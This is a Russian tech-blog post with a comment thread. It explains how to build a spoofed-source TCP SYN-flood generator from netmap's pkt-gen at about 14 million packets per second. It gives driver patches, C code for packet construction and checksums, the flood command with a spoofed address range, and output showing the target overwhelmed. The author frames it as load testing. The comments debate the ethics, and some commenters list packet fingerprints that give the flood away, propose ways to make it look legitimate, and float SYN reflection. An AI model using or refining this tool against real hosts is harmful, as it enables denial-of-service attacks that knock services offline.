SYN-флудим со спуффингом на 14 mpps или нагрузочная вилка V 2.0

    Что-то меня пробило на написание заметок последнее время, поэтому пока энтузиазм не спал раздаю долги.
    Год назад я пришёл на хабр со статьёй "TCP(syn-flood)-netmap-generator производительностью 1,5 mpps", после которой многие писали и даже звонили с просьбой описать создание такой же «вилки» со спуффингом на максимуме возможностей 10GB сети. Я всем обещал, а руки всё не доходили.
    Кто-то скажет, что это руководство для хакеров, но ведь свинья грязи найдёт, а те кому нужен этот инструмент в благонадёжных целях могу остаться ни с чем.

    image

    Поэтому приступим.

    Как обычно сначала о том на чём работаем:
    # uname -orp
    FreeBSD 10.0-STABLE amd64
    
    # pciconf -lv | grep -i device | grep -i network
        device     = '82599EB 10-Gigabit SFI/SFP+ Network Connection'
    


    Итак, у нас есть два компа бытового уровня, пара интеловских 82599EB и 10G SFP

    Начнём с сетевых плат. Производители сетевого оборудования очень не любят когда кто-то использует их адаптеры, но берёт сторонние SFP. И, как правило, «из коробки» сетевуха одного брэнда не заработает с SFP других фирм. Путей решения два:
    — перешить SFP-модуль под нужный бренд;
    — поправить драйвера.
    Для первого варианта нужен программатор. Своего у меня нет, а ехать 150км к знакомому перешивать желания не испытываю. Поэтому наш вариант — правка исходников. Нам потребуется внести изменения в ee /usr/src/sys/dev/ixgbe/ixgbe.c
    В старых версиях фряшки требовалось изменить
    if (!(enforce_sfp & IXGBE_DEVICE_CAPS_ALLOW_ANY_SFP) &&
    

    на
    enforce_sfp |= IXGBE_DEVICE_CAPS_ALLOW_ANY_SFP;
    if (!(enforce_sfp & IXGBE_DEVICE_CAPS_ALLOW_ANY_SFP) &&
    

    Но потом Intel понял, что бороться с ветряными мельницами не стоит и ввёл параметр allow_unsupported_sfp
    # grep -rni "allow_unsupported_sfp" *.c
    ixgbe.c:322:static int allow_unsupported_sfp = FALSE;
    

    Изменяем его на TRUE. Добавляем сразу в ядро:
    # grep netmap /usr/src/sys/amd64/conf/20140523
    device          netmap
    

    И пересобираемся. Система встречает нас:
    WARNING: Intel ® Network Connections are quality tested using Intel ® Ethernet Optics. Using untested modules is not supported and may cause unstable operation or damage to the module or the adapter. Intel Corporation is not responsible for any harm caused by using untested modules.

    Цель достигнута, SFP-шка завелась и байтики побежали по многомоду.
    Получаем исходники netmap'а
    git clone https://code.google.com/p/netmap/
    

    И берём за основу netmap/examples/pkt-gen.c
    Создаём структуру нашего пакета:
    struct pkt {
    	struct virt_header vh;
    	struct ether_header eh;
    	struct ip ip;
    	struct tcphdr tcp;
    	uint8_t body[2048];	// XXX hardwired
    } __attribute__((__packed__));
    


    указываем протокол
    	ip->ip_p = IPPROTO_TCP;
    


    и заполняем структуру
    	tcp = &pkt->tcp;
            tcp->th_sport = htons(targ->g->src_ip.port0);
            tcp->th_dport = htons(targ->g->dst_ip.port0);
    	//tcp->th_ulen = htons(paylen);
    	/* Magic: taken from sbin/dhclient/packet.c */
    
    	tcp->th_seq = ntohl(rand()); // Contains the sequence number.
    	tcp->th_ack = rand(); // Contains the acknowledgement number.
    	tcp->th_x2 = 0; // Unused.
    	tcp->th_off = 5; // Contains the data offset.
    
    
    	tcp->th_flags = TH_SYN; // Contains one of the following values:
    	/*
    	 Flag 	Value 	Description
    	 TH_FIN 	0x01	Indicates that the transmission is finishing.
    	 TH_SYN	0x02	Indicates that sequence numbers are being synchronized.
    	 TH_RST	0x04	Indicates that the connection is being reset.
    	 TH_PUSH	0x08	Indicataes that data is being pushed to the application level.
    	 TH_ACK	0x10	Indicates that the acknowledge field is valid.
    	 TH_URG	0x20	Indicates that urgent data is present.
    	 */
    	tcp->th_win = htons(512); 	// Contains the window size.
    	tcp->th_sum = 0; 		// Contains the checksum.
    	tcp->th_urp = 0; 		// Contains the urgent pointer.
    
    


    По сути и всё, но нам нужен perfect-syn, поэтому считаем контрольную сумму отправляемого пакета
    int tcp_csum(struct ip *ip, struct tcphdr * const tcp) {
        u_int32_t sum = 0;
        int tcp_len = 0;
    
        /* Calculate total length of the TCP segment */
    
        tcp_len = (u_int16_t) ntohs(ip->ip_len) - (ip->ip_hl << 2);
    
        /* Do pseudo-header first */
    
        sum = sum_w((u_int16_t*)&ip->ip_src, 4);
    
        sum += (u_int16_t) IPPROTO_TCP;
        sum += (u_int16_t) tcp_len;
    
        /* Sum up tcp part */
    
        sum += sum_w((u_int16_t*) tcp, tcp_len >> 1);
        if (tcp_len & 1)
            sum += (u_int16_t)(((u_char *) tcp)[tcp_len - 1] << 8);
    
        /* Flip it & stick it */
    
        sum = (sum >> 16) + (sum & 0xFFFF);
        sum += (sum >> 16);
    
        return htons(~sum);
    }
    

    Вот теперь всё.
    Компилируем. Взрываем.

    pkt-gen -f tx -i netmap:ix0 -s 128.0.0.1-223.255.255.254 -d 10.90.90.55 -l 60
    224.387037 main [1654] interface is netmap:ix0
    224.387098 extract_ip_range [277] range is 128.0.0.1:0 to 223.255.255.254:0
    224.387103 extract_ip_range [277] range is 10.90.90.55:0 to 10.90.90.55:0
    
    ifname  [netmap:ix0]
    224.446848 main [1837] mapped 334980KB at 0x8019ff000
    Sending on netmap:ix0: 8 queues, 1 threads and 1 cpus.
    128.0.0.1 -> 10.90.90.55 (00:00:00:00:00:00 -> ff:ff:ff:ff:ff:ff)
    224.446868 main [1893] --- SPECIAL OPTIONS: copy
    
    224.446870 main [1915] Sending 512 packets every  0.000000000 s
    224.446872 main [1917] Wait 2 secs for phy reset
    226.462882 main [1919] Ready...
    
    ifname  [netmap:ix0]
    226.462926 nm_open [461] overriding ifname ix0 ringid 0x0 flags 0x1
    226.462993 sender_body [1026] start
    227.526363 main_thread [1451] 11284469 pps (11999724 pkts in 1063384 usec)
    228.589297 main_thread [1451] 11369243 pps (12084766 pkts in 1062935 usec)
    229.652296 main_thread [1451] 12401300 pps (13119571 pkts in 1062999 usec)
    230.672799 main_thread [1451] 13262006 pps (13492911 pkts in 1020503 usec)
    231.736296 main_thread [1451] 13304686 pps (13022500 pkts in 1063497 usec)
    


    Смотрим «качество» принимаемых пакетов:
    # tcpdump -vvv -n
    11:39:54.349362 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
        129.115.75.162.0 > 10.90.90.55.0: Flags [S], cksum 0xcd54 (correct), seq 1091106137:1091106143, win 512, length 6
    11:39:54.349364 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
        129.115.153.57.0 > 10.90.90.55.0: Flags [S], cksum 0x9755 (correct), seq 286688948:286688954, win 512, length 6
    11:39:54.349365 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
        129.115.185.75.0 > 10.90.90.55.0: Flags [S], cksum 0xf668 (correct), seq 213892719:213892725, win 512, length 6
    11:39:54.349366 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
        129.115.75.81.0 > 10.90.90.55.0: Flags [S], cksum 0x9e6c (correct), seq 337979969:337979975, win 512, length 6
    11:39:54.349367 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
        129.115.151.163.0 > 10.90.90.55.0: Flags [S], cksum 0x15a5 (correct), seq 224623736:224623742, win 512, length 6
    11:39:54.349368 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
        129.115.183.209.0 > 10.90.90.55.0: Flags [S], cksum 0xd87a (correct), seq 426044579:426044585, win 512, length 6
    


    Принимаемая машина, конечно, утилизирована в хлам:
    last pid: 57199;  load averages:  1.90,  0.74,  0.38                                                                        up 20+19:01:42  11:42:41
    134 processes: 12 running, 95 sleeping, 27 waiting
    CPU 0:  0.0% user,  0.0% nice, 52.9% system, 45.1% interrupt,  2.0% idle
    CPU 1:  0.0% user,  0.0% nice, 43.9% system, 53.3% interrupt,  2.7% idle
    CPU 2:  0.0% user,  0.0% nice, 48.6% system, 51.0% interrupt,  0.4% idle
    CPU 3:  0.0% user,  0.0% nice, 47.5% system, 51.8% interrupt,  0.8% idle
    Mem: 2624K Active, 185M Inact, 299M Wired, 417M Buf, 3473M Free
    Swap: 3978M Total, 3978M Free
    
      PID USERNAME   PRI NICE   SIZE    RES STATE   C   TIME     CPU COMMAND
       12 root       -92    -     0K   480K CPU1    1   0:52  48.49% intr{irq257: ix0:que }
       12 root       -92    -     0K   480K CPU0    0   0:57  48.29% intr{irq256: ix0:que }
       12 root       -92    -     0K   480K RUN     2   0:51  47.75% intr{irq258: ix0:que }
       12 root       -92    -     0K   480K WAIT    3   0:51  47.56% intr{irq259: ix0:que }
        0 root       -92    0     0K   336K CPU0    0   0:57  46.29% kernel{ix0 que}
        0 root       -92    0     0K   336K RUN     2   0:47  45.46% kernel{ix0 que}
        0 root       -92    0     0K   336K CPU2    2   0:47  44.97% kernel{ix0 que}
        0 root       -92    0     0K   336K CPU1    1   0:47  44.87% kernel{ix0 que}
       11 root       155 ki31     0K    64K RUN     3 498.8H   6.69% idle{idle: cpu3}
    

    Ну и, конечно, она не смогла обработать всё что ей прилетает. Попробуем принять этот трафик нетмаповскими средствами.
    ./pkt-gen -f rx -i ix0
    577.317054 main [1624] interface is ix0
    577.317135 extract_ip_range [275] range is 10.0.0.1:0 to 10.0.0.1:0
    577.317141 extract_ip_range [275] range is 10.1.0.1:0 to 10.1.0.1:0
    577.636329 main [1807] mapped 334980KB at 0x8019ff000
    Receiving from netmap:ix0: 4 queues, 1 threads and 1 cpus.
    577.636386 main [1887] Wait 2 secs for phy reset
    579.645114 main [1889] Ready...
    579.645186 nm_open [457] overriding ifname ix0 ringid 0x0 flags 0x1
    580.647065 main_thread [1421] 13319133 pps (13339428 pkts in 1001793 usec)
    581.649065 main_thread [1421] 13496900 pps (13519928 pkts in 1002003 usec)
    582.651054 main_thread [1421] 13386463 pps (13409111 pkts in 1001989 usec)
    583.652280 main_thread [1421] 13309552 pps (13323384 pkts in 1001223 usec)
    Received 55348748 packets, in 4.27 seconds.
    Speed: 13.37 Mpps
    

    Так намного лучше.
    Попутно напоминаю, что при старте приложения netmap отключает адаптер от сетевого стека, т.е. при экспериментах на удалённой машине всегда нужно иметь 2-й канал связи.
    О netmap'e на этом всё. Но есть ещё небольшой опрос сходной тематики. Меня часто спрашивают «можно ли организовать HTTP-DDoS задействовав всего один компьютер». Отвечаю «Да, можно и это не сложно.» Но нужно-ли рассказывать как?

    Only registered users can participate in poll. Log in, please.

    Стоит ли публиковать статью о создании HTTP-DDoS'a, для которого будет задействован всего один компьютер

    Share post

    Similar posts

    Comments 44

      +1
      Что имеется в виду под DDoS с одного компьютера, если первая D означает Distributed?
        +2
        Имеется ввиду, что его-таки можно распределить.
        0
        Можно выжать даже больше, чем 13Mpps… :-)

        main [1535] ether_aton(7c:20:64:4a:78:21) gives 0x800fb08d2
        main [1651] map size is 334980 Kb
        main [1673] mmapping 334980 Kbytes
        Sending on ix0: 8 queues, 8 threads and 8 cpus.
        (range) -> 10.0.0.6 (90:e2:ba:37:3e:e4 -> 7c:20:64:4a:78:21)
        main [1726] Wait 5 secs for phy reset
        main [1728] Ready…
        sender_body [1209] start
        sender_body [1209] start
        sender_body [1209] start
        sender_body [1209] start
        sender_body [1209] start
        sender_body [1209] start
        sender_body [1209] start
        sender_body [1209] start
        main [1841] 14853502 pps
        main [1841] 14878679 pps
        main [1841] 14878498 pps
        main [1841] 14876758 pps
        main [1841] 14877630 pps
        main [1841] 14879842 pps
        main [1841] 14875579 pps
        main [1841] 14879976 pps
        main [1841] 14879200 pps
        main [1841] 14876690 pps
        main [1841] 14881448 pps
          +1
          Да, Жень, можно, машинка совсем слабая была, упёрлась в подсчёт контрольной суммы, без него 14,8 без проблем.
            0
            577.636329 main [1807] mapped 334980KB at 0x8019ff000
            Receiving from netmap:ix0: 4 queues, 1 threads and 1 cpus.
            577.636386 main [1887] Wait 2 secs for phy reset


            Попробуй использовать больше очередей и тредов, сейчас у тебя 1 тред работает на 4 очереди, в X520 8 очередей на 1 SFP-порт, соответственно можно нагрузить генератор бОльшей логикой и сделать его интересней.
              0
              Да, возможно, надо будет попробовать, уже стенд разобрал.
              Сколько кстати вам удалось раскачать при защите от чистого syn?
              Я где-то на 8 остановился.
              Написал бы кстати статью с тестами типов атак. Кроме вас-то нетмап мало кто пользует для защиты.
                +2
                О статье уже думаем, тем более, что мы только что прошли официальное тестирование в одном крупном телекоме, пока не могу сказать больше, но защита от чистого synflood'а мощностью 14.8 Mpps со скоростью генерации src ip в 1 млн новых ip/sec, на обычном сервере, пройдена без потерь на 10 тыс. автоматизированных JMeter'ом нагрузочных тестах (HTTP/FTP/DNS/SMTP), при задержках в установлении соединения в районе десятка миллисекунд.
              0
              А можно узнать ТТХ генерирующей системы?
              Как я понял вы генерировали с одного ядра с — SPECIAL OPTIONS: copy, значит происходит копирование в slot->buf_idx предопределенного в initialize_packet() шаблона пакета с последующим апдейтом некоторых полей заголовков. В прошлом году был написан на dpdk для внутреннего тестирования флудер, использующий схожую технику(правда рандомизировались все поля) с одного ядра Е3 1230 выдавало чуть меньше.
                0
                генерировали с одного ядра с — SPECIAL OPTIONS: copy

                да, именно так
                # grep -i cpu: /var/run/dmesg.boot ; grep -i "real memory" /var/run/dmesg.boot ; dmidecode | grep -i "Product Name:"
                CPU: AMD FX(tm)-8320 Eight-Core Processor            (3515.62-MHz K8-class CPU)
                real memory  = 34359738368 (32768 MB)
                        Product Name: GA-78LMT-USB3
                

            0
            Да, рассказывайте о HTTP-DDoS, как говорится — «предупрежден — значит вооружен». Хороший защитник должен знать методы нападения что бы знать как от них защищаться.
              0
              М, а чем это отличается от выполнения ридми по запуску pktgen из комплекта нетмап (который, к слову, доступен полтора года без изменений в текущем виде)?
                +2
                Именно тем о чём описано. pktgen не работает с tcp-пакетами.
                –2
                Это не «HTTP» поскольку нет никаких семантически законченых http-конструкций. Это в чистом виде атака на сетевой стэк системы. И, часто, она будет успешной даже если вы льете мусор в TCP порт который никто не слушает.

                И личный Вопрос: а вы не боитесь «Синдрома Сахарова»?

                Какой смысл публиковать такой пошаговый HOWTO для script kiddies? Все люди «в теме» и так знали. Какую задачу решаем?
                  +3
                  В чем повод для беспокойства? Никто из атакующих не будет запускать такую конструкцию, она обрушит ему же канал на стыке с ближайшим сетевым устройством.
                  0
                  Это не «HTTP» поскольку нет никаких семантически законченых http-конструкций. Это в чистом виде атака на сетевой стэк системы. И, часто, она будет успешной даже если вы льете мусор в TCP порт который никто не слушает.

                  Александр, Вы про эту статью или про ту о которой опрос?
                  Эту никто и не называл HTTP.

                  Какой смысл публиковать такой пошаговый HOWTO для script kiddies? Все люди «в теме» и так знали. Какую задачу решаем?

                  Как я уже говорил, это лишь отдача долгов. Собственно никто же Вам не запрещает написать пошаговое howto для описания защиты от такой атаки, тем более, что Вы располагаете такой информацией :)
                    0
                    Слово HTTP в опросе несколько удивило и вызвало диссонанс этой статьей. Да, не учел что это именно ОПРОС.

                    Отдача долгов, как минимум, странная — дать людям(и не очень людям) колотушку поувесистей и милостиво забыть вооружить бета-тестеров хотя-бы касками.

                    Поверьте, и вылетит и долетит до кого надо. И да, мы занимаемся противодействием и нам эти фокусы не страшны. А вот коллеги и индустрия от таких фокусов пострадают.
                    Вопрос — ЗАЧЕМ и ЗАЧТО?

                    Какую задачу, кроме субьективного кармического долга, решаем?
                    • UFO just landed and posted this here
                        +3
                        Александр, если бы я обладал на сегодняшний день полностью законченным решением противодействия этой атаке на базе PC, то опубликовал бы его не задумываясь. Но мне пока не удалось стабильно добиться этого.
                        А те кому нужна колотушка найдут её, как со мной так и без меня. Вы же сами прекрасно знаете, что купить готовый ботнет со «всё включено» сейчас можно долларов за 300-500. И демпинг на этом рынке продолжается.
                        А вот что делать владельцам аппаратных фаерволов, которые покупаются по бешеным ценам, но настроить их никто не может, потому что оттестировать нечем? Ждать пока накроет очередная волна ддоса и отлаживать «в мыле»? Ну или бежать под защиту к Вам :)
                        Так что Ваша точка зрения также понятна — пока люди меньше знают о pfring DNA, netmap и т.п. у них больше шансов стать Вашими клиентами.
                          0
                          Последний пассаж очень в точку. Массовое присутствие курейтора на российском рынке обусловлено скорее отсутствием альтернатив, нежели более глобальными причинами. По сути, хорошее фильтрующее решение на netmap/vyatta dpdk и достаточно большая выкупленная емкость линков для амортизации — залог успеха аналогичного решения в техническом плане, крутить-вертеть там можно только эвристику для шифрованных соединений и то не сильно.
                            –2
                            О netmap/dpdk/pfring-dna я говорю чуть-ли не на каждой презентации.

                            Одно дело — делать фреймворк двойного назначения, и совсем другое дело публикация cookbook по приготовлению штамма холеры.
                            Дело даже не в «на (работе|свободное время)». Дело в том, что интернет штука крайне хрупкая и еще одной статьи с рецептом как его сломать (но без рецепта как его починить) нам всем и нехватало.

                            Поверьте, можно сломать интернет и гораздо меньшим количеством пакетов.
                            Ломать — не строить.

                              0
                              Ну спасибо, конечно, за комплимент в виде «массового присутствия» и «отсутствия альтернатив».
                              Но, но это совсем не так. Есть Женя Ерхов и его IXI, Женя Касперский и его ЛК, сильная команда Муслима Меджлумова в Ростелекоме, МФИСофт и его Периметр. Альтернативы есть и их много. И они очень разные.

                              И это главное их свойство.

                              Задача несколько сложнее, чем вам кажется. Дело не в умении молотить много-много пакетов, и не в полосе чтобы эти пакеты принять. Посмотрите на CloudFlare — у них есть и пакеты и полоса и 120M инвестиций? Казалось бы, что мешает?

                              Мешает ровно та-же ошибка что допустили вы — «крутить-вертеть там можно только эвристику для шифрованных соединений и то не сильно».

                              "«Играл — не угадал ни одной буквы».

                              Засим откланяюсь.
                                0
                                Не берусь судить о деталях непрофильного для меня бизнеса, просто уточню — выше я привел необходимые условия. Безусловно, при погружении в соответствующий рынок выплывут условия желаемые и условия достаточные, вот и все. А упоминание о еще одном инструменте для ломания интернета, оно очень странное. Во-первых, такая атака сложит сетевую инфраструктуру самого атакующего с гораздо большей вероятностью чем что-то еще. Во-вторых, атаковать из одной точки можно гораздо более эффективно, например, с амплификацией. Запуск потока от нетмаповского генератора наружу сродни отрезанию себе репродуктивного органа, никто этим пользоваться не будет. Сущность хороша для проверки хвастливых производителей свичей на соответствие заявлений реальности, не более.
                                  +1
                                  Во-первых, такая атака сложит сетевую инфраструктуру самого атакующего с гораздо большей вероятностью чем что-то еще.

                                  Некоторая доля истины в словах Александра есть. Я приведу историю без упоминания имён и слегка изменив детали.
                                  — Компания А проводила тендер в строго означенное время и для неё невероятно важна была гарантированная доступность. Для этой цели она арендовала сервер в одном румынском ДЦ. Этот датацентр предлагает защиту от атак до ~500 mpps и его защита реальна. Но в означенное время сервер убит. Как же это произошло?
                                  Компания Б выяснив где расположен сервер также арендовала несколько серверов в этом же ДЦ и в час Х начала атаки. Так как вся защита ДЦ расположена на пограничных узлах и не контролирует внутренние сети, то сервер оказался незащищённым в защищённом ДЦ.
                                  — Конечно, это чётко спланированная акция и с учётом денег которые там крутились текущая статья даже не песчинка в пустыне.
                                  +1
                                  Александр, на правах дикого офтопа, а не email от odintsov at fastvps.ru ответите? :)
                                    +2
                                    Павел, есть такое.
                                    У нас был достаточно бурный и веселый год, правда не только и не столько в «техническом» измерении. Больше про политики и законы.

                                    Пролюлил я Ваше письмо, прошу простить всемилостиво. Отвечу сегодня.
                                    +1
                                    Дело не в умении молотить много-много пакетов, и не в полосе чтобы эти пакеты принять. Посмотрите на CloudFlare — у них есть и пакеты и полоса и 120M инвестиций? Казалось бы, что мешает?


                                    Поддержу, способность справляться с высоким PPS и наличие полосы — это необходимое, но НЕ достаточное условие для эффективной работы. Также, согласен с Сашей, что главное кунгфу находится где-то в области ML.
                                    +2
                                    О netmap/dpdk/pfring-dna я говорю чуть-ли не на каждой презентации.

                                    Александр, а что Вы на них говорите? То что ВАМ удалось сделать решение. Где и когда вы поделились накопленным опытом, хотя бы уже и устаревшим? Где хоть одно готовое решение по защите? Да, понятно, что для Вас это бизнес и Вы не собираетесь делиться своими наработками. Но давайте не будем лукавить — кроме самопиара там ничего нет.
                                      0
                                      И какая будет польза от «готового решения по защите» если к нему нужно 300Gbps полосы, умение ее балансировать и желание/умение искать ошибке в чемодане кода который отвечает за ML?

                                      Рядовой пользователь из этого точно никакой пользы не извлечет.

                                        0
                                        А сайт и читают не только рядовые пользователи :)
                                          0
                                          не только рядовые пользователи могут и в гости зайти.
                                            0
                                            Все никак не доберусь до Мск :(
                                      +2
                                      Инноационный костыль двух-летней давности для стоковых ядер:

                                      www.slideshare.net/alexanderlyamin/phd2013-lyamin (23й слайд)
                                      0
                                      Толку от pf_ring как такового для зищат? Ну умею я его, ну умею во всех высокопроизводительных конфигурациях, ну могу обработать пару MPPS, но от DDoS меня это почему-то соверешенно не защищает =) Это инструмент и очень низкоуровнеый. Это равносильно называть карту класса 82599 — средством защиты от DDoS :)
                                      +4
                                      У нас свободная страна :-), поэтому готов поддержать как право публиковать инструментарий по генерации трафика, так и право объединять усилия сообщества по защите. В конечном счёте, мы все от этого выиграем.

                                      IMHO время «security through obscurity» в области DDOS заканчивается.
                                        +2
                                        Женя, раз пошла такая пьянка, hash function вашего балансировщика в студию!
                                          +1
                                          Саш я про то, что это не остановить. Инструментарий уже есть, статьи и howto неизбежно будут появляться, не у нас, так в англоязычном сегменте. Я бы с удовольствием поддержал продолжение твоей борьбы ( tech.yandex.ru/events/yac/2013/talks/1135/ ) по объединению усилий в совместном противодействии DDOS, т.к. абсолютно убеждён, что это и есть решение.
                                          0
                                          Жень, это или сарказм или «doublethink».

                                          Еще раз, повторюсь: для Тебя, меня, 0din это проблем не доставит. Но вот для любого хостера или бизнеса у которого нет под рукой свободных 10G и железки способной перемолотить 14.88Mpps SYN-flood — это безусловно и однозначно станет проблемой.

                                          С точки зрения бизнеса — это конечно радость-радость. Новые клиенты всем нам.
                                          С точки зрения этики и морали — стандратная притча о продавце ружья.

                                            +1
                                            Нет, не сарказм и не doublethink, просто реально времена меняются и нужно что-то делать. Ты всем доказал, что реальная защита от DDOS — это не многомиллионные вложения в железки и небольшая команда «головой» может сделать больше, чем толстосумы со штатом в сотни программеров и инвестициями в 120М. Думаю, что можно было бы продолжить объединение усилий на круглых столах, а затем перейти и в практическую плоскость.
                                              0
                                              Александр, меня вот терзают смутные сомнения о необходимости публиковать статью о http-ддосинге, потому что там описан механизм доступный любому школьнику, способный уложить большинство шаред-хостингов и впсок нижнего диапазона. Но о защите от http-ддоса сейчас не знает только ленивый и защита от таких атак меня не интересует.
                                              А вот если не подогревать тему стековых-атак, то и решений найдено не будет. Я долго думал писать ли её, либо просто разослать решение всем кто просил, но сейчас я уже уверен, что решение о написании было верным, хотя бы даже потому, что мне указали на явные косяки (0din отдельное спасибо!).
                                              А как мне простому админу получить нужную мне информацию как не в обсуждении здесь?
                                        +3
                                        Смотрим «качество» принимаемых пакетов:
                                        # tcpdump -vvv -n
                                        11:39:54.349362 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 46)
                                        129.115.75.162.0 > 10.90.90.55.0: Flags [S], cksum 0xcd54 (correct), seq 1091106137:1091106143, win 512, length 6

                                        И в чем заключается качество пакетов?
                                        1. ttl=64 и не изменяется
                                        2. id=0 и не изменяется
                                        3. sport = dport = 0
                                        4. исходя из:
                                        tcp->th_ack = rand(); // Contains the acknowledgement number.

                                        получаем ack != 0, а у SYN сегмента должно быть ack = 0, то на чем палиться старый добрый hping3.
                                        5. win = 512 и не изменяется
                                        6. зачем-то передаете 6 байт в payload?
                                        7. из не существенного, почему-то в pkt-gen.c: ip->ip_tos = IPTOS_LOWDELAY;

                                        tcp->th_seq = ntohl(rand()); // Contains the sequence number.

                                        ntohl — здесь бессмысленен.
                                          0
                                          0din, огромное спасибо, за комент!
                                          Здесь меня интересовал только подсчёт контрольной суммы.
                                          Эти вопросы я пересмотрю.
                                            0
                                            s/d порты просто недопечатал (этот функционал есть в pkt-gen)
                                            pkt-gen -f tx -i netmap:ix0 -s 128.0.0.1:1025-223.255.255.254:65535 -d 10.90.90.55:80 -l 60
                                              0
                                              Тогда можно добавить W-scale, NOP и SACK_PERM в пейлоад и MSS конечно же выставить. Чтобы уж совсем был похож на виндовый пакет.

                                              И кстати можете попробовать пустить на себя SYN Reflection своим методом, это же раза в три больше пакетов будет! Правда не знаю насколько это законно.
                                              0
                                              0din, et tu brut!

                                              Only users with full accounts can post comments. Log in, please.